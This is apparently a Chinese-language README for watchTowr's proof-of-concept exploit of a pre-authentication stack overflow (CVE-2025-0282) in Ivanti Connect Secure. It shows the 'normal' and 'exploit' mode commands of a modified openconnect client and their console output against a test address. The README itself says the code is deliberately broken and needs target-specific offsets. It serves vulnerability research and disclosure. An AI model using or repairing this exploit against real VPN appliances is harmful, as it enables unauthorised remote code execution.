Ivanti Connect Secure IFT TLS 堆栈溢出预认证远程代码执行（RCE）（CVE-2025-0282）
此代码被刻意以非平凡的方式破坏，需要按照我们之前在利用技术博客文章中概述的方法付出努力才能使其正常工作。
要了解此漏洞，可以查看我们的技术文章。
利用演练与技术 - Ivanti Connect Secure RCE（CVE-2025-0282）
该代码以两种模式运行：
首先以“Normal”模式运行代码。如果遇到密码提示，说明目标可用。接下来，切换到“Exploit”模式。如果你看到消息“Failed to complete authentication”，目标可能存在漏洞。请注意，利用代码包含硬编码的地址和偏移量，你需要对其进行修改以适配你获准测试的目标。
MODE=normal ./openconnect-9.12/openconnect --protocol=pulse --user=test 10.20.5.4
__ .__ ___________
__ _ _______ _/ |_ ____ | |_\__ ___/_____ _ _________
\ \/ \/ /\__ \\ __\/ ___\| | \| | / _ \ \/ \/ /\_ __ \
\ / / __ \| | \ \___| Y \ |( <_> ) / | | \/
\/\_/ (____ /__| \___ >___| /____| \____/ \/\_/ |__|
\/ \/ \/
(*) Ivanti Connect Secure IFT TLS Stack Overflow pre-auth RCE (CVE-2025-0282)
- Sina Kheirkhah (@SinSinology) of watchTowr ([email protected])
CVEs: [CVE-2025-0282]
Connected to 10.20.5.4:443
SSL negotiation with 10.20.5.4
Server certificate verify failed: signer not found
Certificate from VPN server "10.20.5.4" failed verification.
Reason: signer not found
To trust this server in future, perhaps add this to your command line:
--servercert pin-sha256:kE2T2Rx2hc9EquYWABzj22wil29SZezWLdJ7OnhpdMw=
Enter 'yes' to accept, 'no' to abort; anything else to view: yes
Connected to HTTPS on 10.20.5.4 with ciphersuite (TLS1.2)-(RSA)-(AES-256-GCM)
Got HTTP response: HTTP/1.1 101 Switching Protocols
Enter user credentials:
Password:
MODE=exploit ./openconnect-9.12/openconnect --protocol=pulse --user=test 10.20.5.4
__ .__ ___________
__ _ _______ _/ |_ ____ | |_\__ ___/_____ _ _________
\ \/ \/ /\__ \\ __\/ ___\| | \| | / _ \ \/ \/ /\_ __ \
\ / / __ \| | \ \___| Y \ |( <_> ) / | | \/
\/\_/ (____ /__| \___ >___| /____| \____/ \/\_/ |__|
\/ \/ \/
(*) Ivanti Connect Secure IFT TLS Stack Overflow pre-auth RCE (CVE-2025-0282)
- Sina Kheirkhah (@SinSinology) of watchTowr ([email protected])
CVEs: [CVE-2025-0282]
Connected to 10.20.5.4:443
SSL negotiation with 10.20.5.4
Server certificate verify failed: signer not found
Certificate from VPN server "10.20.5.4" failed verification.
Reason: signer not found
To trust this server in future, perhaps add this to your command line:
--servercert pin-sha256:kE2T2Rx2hc9EquYWABzj22wil29SZezWLdJ7OnhpdMw=
Enter 'yes' to accept, 'no' to abort; anything else to view: yes
Connected to HTTPS on 10.20.5.4 with ciphersuite (TLS1.2)-(RSA)-(AES-256-GCM)
Got HTTP response: HTTP/1.1 101 Switching Protocols
Failed to read from TLS/DTLS socket: Error in the pull function.
Failed to complete authentication
[!] Target might be vulnerable
此漏洞利用代码由 Sina Kheirkhah（@SinSinology）编写，来自 watchTowr (@watchtowrcyber)
如需获取最新安全研究，请关注 watchTowr 实验室团队